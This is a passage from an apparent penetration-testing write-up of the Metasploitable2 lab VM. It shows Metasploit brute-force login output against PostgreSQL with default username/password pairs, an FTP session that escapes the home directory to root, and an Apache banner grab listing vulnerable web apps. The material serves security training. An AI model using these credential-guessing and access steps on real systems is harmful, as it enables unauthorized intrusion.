192.168.32.102:5432 Postgres - Invalid username or password: 'msfadmin':'msfadmin' [-] 192.168.32.102:5432 Postgres - [62/74] - Username/Password failed. [*] 192.168.32.102:5432 Postgres - [63/74] - Trying username:'bind' with password:'bind' on database 'template1' [-] 192.168.32.102:5432 Postgres - Invalid username or password: 'bind':'bind' [-] 192.168.32.102:5432 Postgres - [63/74] - Username/Password failed. [*] 192.168.32.102:5432 Postgres - [64/74] - Trying username:'postfix' with password:'postfix' on database 'template1' [-] 192.168.32.102:5432 Postgres - Invalid username or password: 'postfix':'postfix' [-] 192.168.32.102:5432 Postgres - [64/74] - Username/Password failed. [*] 192.168.32.102:5432 Postgres - [65/74] - Trying username:'ftp' with password:'ftp' on database 'template1' [-] 192.168.32.102:5432 Postgres - Invalid username or password: 'ftp':'ftp' [-] 192.168.32.102:5432 Postgres - [65/74] - Username/Password failed. [*] 192.168.32.102:5432 Postgres - [66/74] - Trying username:'mysql' with password:'mysql' on database 'template1' [-] 192.168.32.102:5432 Postgres - Invalid username or password: 'mysql':'mysql' [-] 192.168.32.102:5432 Postgres - [66/74] - Username/Password failed. [*] 192.168.32.102:5432 Postgres - [67/74] - Trying username:'tomcat55' with password:'tomcat55' on database 'template1' [-] 192.168.32.102:5432 Postgres - Invalid username or password: 'tomcat55':'tomcat55' [-] 192.168.32.102:5432 Postgres - [67/74] - Username/Password failed. [*] 192.168.32.102:5432 Postgres - [68/74] - Trying username:'distccd' with password:'distccd' on database 'template1' [-] 192.168.32.102:5432 Postgres - Invalid username or password: 'distccd':'distccd' [-] 192.168.32.102:5432 Postgres - [68/74] - Username/Password failed. [*] 192.168.32.102:5432 Postgres - [69/74] - Trying username:'user' with password:'user' on database 'template1' [-] 192.168.32.102:5432 Postgres - Invalid username or password: 'user':'user' [-] 192.168.32.102:5432 Postgres - [69/74] - Username/Password failed. [*] 192.168.32.102:5432 Postgres - [70/74] - Trying username:'service' with password:'service' on database 'template1' [-] 192.168.32.102:5432 Postgres - Invalid username or password: 'service':'service' [-] 192.168.32.102:5432 Postgres - [70/74] - Username/Password failed. [*] 192.168.32.102:5432 Postgres - [71/74] - Trying username:'telnetd' with password:'telnetd' on database 'template1' [-] 192.168.32.102:5432 Postgres - Invalid username or password: 'telnetd':'telnetd' [-] 192.168.32.102:5432 Postgres - [71/74] - Username/Password failed. [*] 192.168.32.102:5432 Postgres - [72/74] - Trying username:'proftpd' with password:'proftpd' on database 'template1' [-] 192.168.32.102:5432 Postgres - Invalid username or password: 'proftpd':'proftpd' [-] 192.168.32.102:5432 Postgres - [72/74] - Username/Password failed. [*] 192.168.32.102:5432 Postgres - [73/74] - Trying username:'statd' with password:'statd' on database 'template1' [-] 192.168.32.102:5432 Postgres - Invalid username or password: 'statd':'statd' [-] 192.168.32.102:5432 Postgres - [73/74] - Username/Password failed. [*] 192.168.32.102:5432 Postgres - [74/74] - Trying username:'snmp' with password:'snmp' on database 'template1' [-] 192.168.32.102:5432 Postgres - Invalid username or password: 'snmp':'snmp' [-] 192.168.32.102:5432 Postgres - [74/74] - Username/Password failed. [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed msf auxiliary(postgres_login) >
Port 2121 - ProFTP
Port 2121 reports to be running ProFTPD version 1.3.1. A search of www.cvedetails.com provides several potential vulnerabilities, but none appeared to be metasploitable. As we already knew the credentials, we can simply FTP to the server. During the FTP session, we make the discovery that the FTP server is misconfigured and allows users to break out of their home jail and get access to the root directory (/).
root@kali:~# ftp 192.168.32.102 2121 Connected to 192.168.32.102. 220 ProFTPD 1.3.1 Server (Debian) [::ffff:192.168.32.102] Name (192.168.32.102:root): msfadmin 331 Password required for msfadmin Password: 230 User msfadmin logged in Remote system type is UNIX. Using binary mode to transfer files. ftp> pwd 257 "/home/msfadmin" is the current directory ftp> cd / 250 CWD command successful ftp> pwd 257 "/" is the current directory ftp>
Port 80 - Apache
We observe that port 80 is also open and runs Apache httpd 2.2.8.
root@kali:~# wget -S -v -O - 192.168.32.102
--2015-02-04 05:45:44-- http://192.168.32.102/
Connecting to 192.168.32.102:80... connected.
HTTP request sent, awaiting response...
HTTP/1.1 200 OK
Date: Tue, 16 Dec 2014 10:49:28 GMT
Server: Apache/2.2.8 (Ubuntu) DAV/2
X-Powered-By: PHP/5.2.4-2ubuntu5.10
Content-Length: 891
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html
Length: 891 [text/html]
Saving to: `STDOUT'
0% [ ] 0 --.-K/s <html><head><title>Metasploitable2 - Linux</title></head><body>
<pre>
_ _ _ _ _ _ ____
_ __ ___ ___| |_ __ _ ___ _ __ | | ___ (_) |_ __ _| |__ | | ___|___ \
| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __/ _` | '_ \| |/ _ \ __) |
| | | | | | __/ || (_| \__ \ |_) | | (_) | | || (_| | |_) | | __// __/
|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__\__,_|_.__/|_|\___|_____|
|_|
Warning: Never expose this VM to an untrusted network!
Contact: msfdev[at]metasploit.com
Login with msfadmin/msfadmin to get started
</pre>
<ul>
<li><a href="/twiki/">TWiki</a></li>
<li><a href="/phpMyAdmin/">phpMyAdmin</a></li>
<li><a href="/mutillidae/">Mutillidae</a></li>
<li><a href="/dvwa/">DVWA</a></li>
<li><a href="/dav/">WebDAV</a></li>
</ul>
</body>
</html>
100%[======================================>] 891 --.-K/s in 0s
2015-02-04 05:45:44 (78.6 MB/s) - written to stdout [891/891]
There are a number of applications hosted on the server.
I'm still writing up so will continue to update the post as I make progress
Maintaining Access
Covering Tracks
Notes
References:
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